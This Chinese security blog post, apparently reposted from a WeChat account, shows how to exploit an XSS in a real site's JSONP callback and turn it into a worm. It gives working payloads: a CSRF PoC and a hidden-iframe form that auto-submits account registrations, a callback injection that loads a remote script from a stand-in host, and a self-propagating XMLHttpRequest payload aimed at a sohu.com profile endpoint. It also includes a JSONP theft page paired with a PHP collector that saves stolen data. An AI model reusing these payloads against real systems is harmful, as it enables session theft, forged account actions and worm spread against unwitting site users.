xss蠕虫+jsonp构建

admin 2022年5月3日00:49:31评论39 views字数 4409阅读14分41秒阅读模式


前言:

好久没分享东西了突然发觉

倒不是说没写东西

最近写的东西还是蛮多的 但是有些东西暂时还不想公开

贴个图吧

xss蠕虫+jsonp构建又恰巧在测批量挖掘的一个思路时,跑了某个站的域名

跑出来一个接口 就想着水篇文章


正文


获取到如下的接口
http://网站/api/position/615?callback=111xss蠕虫+jsonp构建发觉是一个很不错的例子
这里就直接用这个来简单的教大家怎么挖掘jsonp的漏洞和xss进阶钓鱼使用


xss

最基础的就不说了 就是常见的弹窗或者跳转之类的

当然也是因为这里没waf 如果有waf的话就想办法绕就好了
waf还是蛮好绕的
xss蠕虫+jsonp构建


这里肯定是核心写进阶利用的
因为这里没有发布文章这些操作不然就直接写蠕虫了 所以这里直接调用的注册账户的来进行实现


XSS+CSRF组合利用

最简单的方法:重定向思路去进行xss数据获取


思路一 xss重定向到一个页面后进行操作

个人不建议用这种思路 太容易被发现

window.location.href="http://baidu.com(payload的服务器地址)";


xss蠕虫+jsonp构建组合csrf使用
最简单的结合csrf的方法
准确就是url重定向+csrf漏洞进行
1.生成一个csrf
xss蠕虫+jsonp构建2.结合上面的重定向的代码把代码改为上面poc.html存储的服务器的地址即可
效果
常规的直接使用poc的如下
xss蠕虫+jsonp构建进一步更改的
直接结合doucument.forms[0].submit();去写


<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="">

<script> document.forms[0].submit(); </script>
</form>
</body>
</html>

效果如下 弹窗跳转后直接成功
xss蠕虫+jsonp构建

思路二 多次重定向+document.write

这种我比较喜欢 写完后完全没任何的在跳转到原来页面(不过最好还是自写js痕迹是最小的)

正常浏览的话看不出窃取了数据这些操作

组合蠕虫的话思路是一样的

直接页面插入自己html页面的链接即可或者就是插入xss平台生成的链接然后xss强制跳转(区别:后者可强制前者属于钓鱼手法)


直接抓包csrf生成的


<input type="hidden" name="callback" value="jQuery17207526730081973341&#95;1651468576157" />
<input type="hidden" name="name" value="26164283431121" />
<input type="hidden" name="password" value="a&#46;123456789" />
<input type="hidden" name="repassword" value="a&#46;123456789" />
<input type="hidden" name="rname" value="" />
<input type="hidden" name="idcard" value="" />
<input type="hidden" name="formtype" value="registerform" />
<input type="hidden" name="from" value="3841" />
<input type="hidden" name="&#95;" value="1651468592111" />
<input type="submit" value="Submit request" />


xss蠕虫+jsonp构建

这个是html页面的

html页面也可以写xss的内容哦 核心就是看自己引用了


<meta http-equiv="content-type" content="text/html;charset=utf-8">
<iframe id="test_iframe" style='display:none'></iframe>
<h1>aa</h1>
<script>
var test_iframe = document.getElementById('test_iframe');
function CSRF()
{
test_iframe.contentWindow.document.write("<form action='http://baidu.com/注册的接口'>"
+"<input type='hidden' name='callback' value='jQuery17207526730081973341&#95;1651468576157' >"
+"<input type='hidden' name='name' value='261642834311211'>"
+"<input type='hidden' name='password' value='a&#46;123456789' >"
+"<input type='hidden' name='repassword' value='a&#46;123456789'>"
+"<input type='hidden' name='rname' value=''>"
+"<input type='hidden' name='idcard' value=''>"
+"<input type='hidden' name='formtype' value='registerform'>"
+"<input type='hidden' name='from' value='3841' >"
+"<input type='hidden' name='&#95;' value='1651468592111'>"
+"</form>"
+"<script> document.forms[0].submit(); </script>")
}
CSRF();
window.setTimeout(window.location.href='http://www.baidu.com', 1);//延迟二秒后跳转到指定网页
</script>


复杂点的方法:


原理:自写js代码进行处理

有动静的:弹窗+xss平台代码组合使用

<script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js></script>

无动静的:直接xss.js的不弹窗即可

<script src=http://xxx.com/xxx.js></script>

如这里我使用的是有动静的


这个是链接的点
http://网站callback=<script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js>


这个就是xxx.js的内容 即点击该参数即可调用插入引用xxx.js的代码进而进行插入代码造成xss漏洞


自写的xss代码如下

xxx.js

这里的代码就不贴了 防止大佬们猜出网站是哪个

跟这个原理差不多 就是url变了一下


var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions);
}
catch(e) {}
}
}
xmlhttp=request;
var injectcode=escape('</p><script>alert(document.cookie)</script><script src=http://xxx.com/xxx.js>');
var url= "http://t.stock.sohu.com/updateuserinfo.up?callback=jQuery17209598822160122753_1402214482429&interest=%C6%DA%D6%B8&introduction="+injectcode;
xmlhttp.open("GET", url, true);
xmlhttp.setRequestHeader("Connection", "Keep-Alive");
xmlhttp.send();


扔进去到xss平台里面后访问后会自动请求js里面的get或者post请求
xss蠕虫+jsonp构建后自动即会跳转
xss蠕虫+jsonp构建请求完成后即可成功完成我们引用的xss代码操作


jsonp

这个之前有写过但是这里还是也在此放出来


其实想想这里既然能xss 那为啥要用jsonp?哈哈哈哈


核心利用的原理:
JSONP技术可以实现数据的跨域访问,进而攻击者利用该漏洞可以向用户发送一个伪造的链接,进而当用户点击后进行回调函数进而即窃取到用户的信息


因为这里的callaback可控
服务器的保存文件的可以直接扔本地127.0.0.1
用phpstudy起一个就好了


<?php
if($_GET['file']){
file_put_contents('json.txt',$_GET['file']);
}
?>


点击该html即可获取到数据


<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
</head>

<body>
<script>
function test(data) {
var xmlhttp = new XMLHttpRequest();
var url = "http://127.0.0.1/save_json.php?file=" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src="http://具有jsonp漏洞的地址/jsonp.php?callback=test"></script>
//callback回调函数进而获取数据然后采用ajax的形式进行发送数据

</body>

</html>


xss蠕虫+jsonp构建


原文始发于微信公众号(goddemon的小屋):xss蠕虫+jsonp构建

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月3日00:49:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xss蠕虫+jsonp构建http://cn-sec.com/archives/970095.html

发表评论

匿名网友 填写信息